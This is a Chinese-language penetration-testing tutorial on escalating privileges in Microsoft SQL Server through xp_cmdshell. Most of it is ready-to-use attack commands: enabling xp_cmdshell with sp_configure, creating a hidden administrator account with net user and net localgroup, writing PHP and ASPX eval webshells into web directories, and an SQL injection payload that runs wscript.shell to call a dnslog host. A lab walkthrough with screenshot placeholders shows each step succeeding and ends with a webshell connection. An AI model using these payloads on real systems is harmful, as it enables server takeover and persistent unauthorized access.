WEB漏洞系列-MSSQL提权之xp_cmdshell

一、前言

xp_cmdshell 是 Microsoft SQL Server 中的一个系统存储过程,允许从SQL查询中执行操作系统命令。它在之前的SQL Server版本中可用,从SQL Server 2012开始被弃用。提权前提

1
2
getshell 或者存在 sql 注入并且能够执行命令(sqlmap sql-shell)。
sql server 是 system 权限(sql server 默认就是 system 权限)。

二、xp_cmdshell 相关命令

有了 xp_cmdshell 的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。


开启 xp_cmdshell

可在 sqlmap 获取 sql-shell 后执行命令,原理就是利用 sp_configure 进行执行命令。

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭 xp_cmdshell

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

提权

1
2
exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test /add' 添加test用户到管理员组

写入 webshell

得知网站路径后,在 sql-shell 中执行写 shell,如果执行不了,可以尝试 hex 编码绕过,下面给出两个例子

1
EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >c:\\web\\xx.aspx'
1
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]); ?^> >c:\\inetpub\\siteserver_install\\shell.php'

测试 xp_cmdshell 是否能用

在注入点出尝试利用 dnslog 探测 xp_cmdshell 是否可用,执行后查看是否有回显

1
appidname=admin';Declare+%40runshell+INT+Exec+SP_OACreate+'wscript.shell',%40runshell+out+Exec+SP_OAMeTHOD+%40runshell,'run',null,'ping+who.ydldax.dnslog.cn'%3b--+

三、服务器操作演示

查看 xp_cmdshell 状态,本机没有开启 xp_cmdshell

1
实例名右键 -> 方面 -> 外围应用配置器

image-20220422153405398

无法执行 xp_cmdshell 命令,exec xp_cmdshell "whoami"

image-20220422153844944

利用命令开启 xp_cmdshell

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

image-20220422154118145

利用 xp_cmdshell 成功执行命令

1
exec xp_cmdshell "whoami"

image-20220422154222165

利用 xp_cmdshell 新建管理员账号

image-20220422154257795

执行命令发现出现错误5,原因系 mssql 不是使用本地系统账号,修改配置改为本地系统账号

image-20220422155500557

服务(services.msc) -> SQL server -> 本地系统账号

image-20220422155937780

image-20220422160136770

重新退出sql server 再次进行命令执行,执行新建用户命令成功

1
exec xp_cmdshell 'net user xp_cmdshell Cmd123.. /add'

image-20220422160408161

image-20220422160729931

添加到xp_cmdshell用户到管理员权限

1
exec xp_cmdshell 'net localgroup administrators xp_cmdshell /add'

image-20220422160606000

image-20220422160805898

写入一句话

在C:\inetpub\siteserver_install目录下有一个asp网站
不好意思搞错了,写入了php写入一句话

1
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]); ?^> >c:\\inetpub\\siteserver_install\\shell.php'

image-20220422162942588

写入aspx木马

1
EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >c:\\inetpub\\siteserver_install\\shell23.aspx'

image-20220422163347869

image-20220422163415244

利用蚁剑成功连接

image-20240326145248677